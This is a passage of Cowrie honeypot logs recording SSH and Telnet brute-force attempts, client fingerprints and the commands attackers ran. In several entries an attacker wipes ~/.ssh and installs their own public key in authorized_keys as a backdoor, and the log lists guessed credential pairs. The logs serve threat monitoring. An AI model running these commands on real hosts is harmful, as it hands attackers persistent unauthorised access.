,"sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.386781Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"000000","message":"login attempt [oracle/000000] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.471800Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.546022Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.550128Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.554203Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.570567Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.637239Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.640057Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.666455Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.670220Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":52072,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cde1337f222","protocol":"ssh","message":"New connection: 152.32.238.146:52072 (10.17.0.5:22) [session: 1cde1337f222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.675635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.679787Z","src_ip":"152.32.238.146","session":"1cde1337f222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.690752Z","src_ip":"152.32.238.146","session":"1cde1337f222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:18:59.770484Z","src_ip":"152.32.238.146","session":"1cde1337f222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:00.785624Z","src_ip":"152.32.238.146","session":"1cde1337f222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":38706,"dst_ip":"10.17.0.5","dst_port":22,"session":"3481605d6f58","protocol":"ssh","message":"New connection: 152.32.238.146:38706 (10.17.0.5:22) [session: 3481605d6f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:00.792763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:00.798371Z","src_ip":"152.32.238.146","session":"3481605d6f58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:00.821420Z","src_ip":"152.32.238.146","session":"3481605d6f58","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:00.900385Z","src_ip":"152.32.238.146","session":"3481605d6f58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:00.915281Z","src_ip":"152.32.238.146","session":"3481605d6f58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:00.924261Z","src_ip":"152.32.238.146","session":"a31000935e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.69.24.78","src_port":56289,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fc35e7497cb","protocol":"telnet","message":"New connection: 178.69.24.78:56289 (10.17.0.5:23) [session: 2fc35e7497cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:10.587739Z"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":57742,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc343ff9217f","protocol":"ssh","message":"New connection: 140.106.25.230:57742 (159.203.135.109:22) [session: bc343ff9217f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:13.411644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:13.416358Z","src_ip":"140.106.25.230","session":"bc343ff9217f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:13.448265Z","src_ip":"140.106.25.230","session":"bc343ff9217f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu1","password":"Ubuntu1","message":"login attempt [Ubuntu1/Ubuntu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:13.603865Z","src_ip":"140.106.25.230","session":"bc343ff9217f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:14.651486Z","src_ip":"140.106.25.230","session":"bc343ff9217f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":56046,"dst_ip":"10.17.0.5","dst_port":22,"session":"2924561bf5ad","protocol":"ssh","message":"New connection: 196.189.51.7:56046 (10.17.0.5:22) [session: 2924561bf5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:18.254615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:18.259770Z","src_ip":"196.189.51.7","session":"2924561bf5ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:18.428896Z","src_ip":"196.189.51.7","session":"2924561bf5ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@2024","message":"login attempt [mysql/mysql@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:19.140594Z","src_ip":"196.189.51.7","session":"2924561bf5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:20.311121Z","src_ip":"196.189.51.7","session":"2924561bf5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.45292353630066,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:25.040536Z","src_ip":"178.69.24.78","session":"2fc35e7497cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55458,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9804c7844e0","protocol":"ssh","message":"New connection: 159.203.92.129:55458 (159.203.135.109:22) [session: d9804c7844e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:29.100885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:29.105216Z","src_ip":"159.203.92.129","session":"d9804c7844e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:29.108831Z","src_ip":"159.203.92.129","session":"d9804c7844e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"12345678","message":"login attempt [a/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:29.118122Z","src_ip":"159.203.92.129","session":"d9804c7844e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:30.124648Z","src_ip":"159.203.92.129","session":"d9804c7844e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47934,"dst_ip":"159.203.135.109","dst_port":22,"session":"e087f202aee1","protocol":"ssh","message":"New connection: 80.94.92.186:47934 (159.203.135.109:22) [session: e087f202aee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:38.172854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:38.323430Z","src_ip":"80.94.92.186","session":"e087f202aee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:38.326336Z","src_ip":"80.94.92.186","session":"e087f202aee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"fuckyou","message":"login attempt [sol/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:39.449432Z","src_ip":"80.94.92.186","session":"e087f202aee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:40.673705Z","src_ip":"80.94.92.186","session":"e087f202aee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":37702,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a0f60331da5","protocol":"ssh","message":"New connection: 152.32.238.146:37702 (10.17.0.5:22) [session: 6a0f60331da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:44.817794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:19:44.822609Z","src_ip":"152.32.238.146","session":"6a0f60331da5","protocol":"ssh"}
